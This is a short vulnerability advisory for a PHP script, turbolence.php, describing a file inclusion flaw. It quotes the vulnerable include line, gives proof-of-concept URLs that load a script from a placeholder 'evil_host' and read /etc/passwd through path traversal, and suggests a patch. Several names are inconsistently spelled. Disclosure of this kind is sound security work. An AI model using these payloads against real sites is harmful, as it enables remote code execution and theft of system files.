2) Security Issues
-------------------
--- [ Remote File Inclusion Vulnerability ] ---
===============================================
[ /user/turbolence.php - Line 34 - 39 ]
[...]
$tdbconn = tdb_connect($GLOBALS['tdb']);
if (!$tdbconn) decho("Database Connection Failed...");
decho("Database Connection: ".$tdbconn);
include($GLOBALS['tcore'].'/user/session.inc');
if ($GLOBALS['login']) {
[...]
[ end script turbolence.php ]
As you can see the variable $GLOBALS['tcode'] is not properly sanitized before being used; so an attacker can gain access
to the shell by using a crafted URL.
--- [ PoC ] ---
===============
Tested on a php.ini configuration as the follow:
register_global = On
allow_url_unclude = On
RFI:
http://127.0.0.1/user/turbulence.php?GLOBALS[tcore]=http://evil_host/evil_script.txt?
LFI:
http://127.0.0.1/turbulence.php?GLOBALS[tcore]=../../../../../../../../../../../../etc/passwd%00
---- [ Patch ] ----
1. Edit the source code to ensure that the input is validated.
2. To avoid Remote File Inclusion turn Off allow_url_include.
